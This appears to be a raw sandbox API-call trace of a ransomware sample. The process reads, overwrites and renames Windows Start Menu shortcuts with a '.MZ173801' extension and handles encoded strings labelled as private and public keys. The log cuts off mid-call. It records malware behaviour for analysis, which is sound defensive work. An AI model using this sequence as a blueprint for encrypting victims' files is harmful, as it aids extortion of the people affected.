0x45e [0213.798] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.798] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x45e, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x45e, lpOverlapped=0x0) returned 1 [0213.809] CloseHandle (hObject=0x330) returned 1 [0213.809] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.810] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x45e, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x45e, lpOverlapped=0x0) returned 1 [0213.811] CloseHandle (hObject=0x330) returned 1 [0213.811] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk.mz173801")) returned 1 [0213.812] GetCurrentThreadId () returned 0xab4 [0213.812] GetCurrentThreadId () returned 0xab4 [0213.812] GetCurrentThreadId () returned 0xab4 [0213.812] GetCurrentThreadId () returned 0xab4 [0213.812] GetCurrentThreadId () returned 0xab4 [0213.812] GetCurrentThreadId () returned 0xab4 [0213.812] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b4be2a0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Resource Monitor.lnk", cAlternateFileName="")) returned 1 [0213.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.812] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.812] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3b4be2a0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x454)) returned 1 [0213.812] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk")) returned 0x20 [0213.812] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk", dwFileAttributes=0x80) returned 1 [0213.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.815] GetCurrentThreadId () returned 0xab4 [0213.815] GetCurrentThreadId () returned 0xab4 [0213.815] GetCurrentThreadId () returned 0xab4 [0213.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.816] GetCurrentThreadId () returned 0xab4 [0213.816] GetCurrentThreadId () returned 0xab4 [0213.816] GetCurrentThreadId () returned 0xab4 [0213.816] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.816] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.816] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.816] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x454 [0213.816] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.816] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x454, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x454, lpOverlapped=0x0) returned 1 [0213.851] CloseHandle (hObject=0x330) returned 1 [0213.851] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.852] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x454, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x454, lpOverlapped=0x0) returned 1 [0213.853] CloseHandle (hObject=0x330) returned 1 [0213.853] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Resource Monitor.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\resource monitor.lnk.mz173801")) returned 1 [0213.854] GetCurrentThreadId () returned 0xab4 [0213.854] GetCurrentThreadId () returned 0xab4 [0213.854] GetCurrentThreadId () returned 0xab4 [0213.854] GetCurrentThreadId () returned 0xab4 [0213.854] GetCurrentThreadId () returned 0xab4 [0213.854] GetCurrentThreadId () returned 0xab4 [0213.854] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c66c10d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c66c10d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c66c10d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Security Configuration Management.lnk", cAlternateFileName="")) returned 1 [0213.854] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.854] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.854] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c66c10d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c66c10d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c66c10d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462)) returned 1 [0213.888] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\security configuration management.lnk")) returned 0x20 [0213.888] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Security Configuration Management.lnk", dwFileAttributes=0x80) returned 1 [0213.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 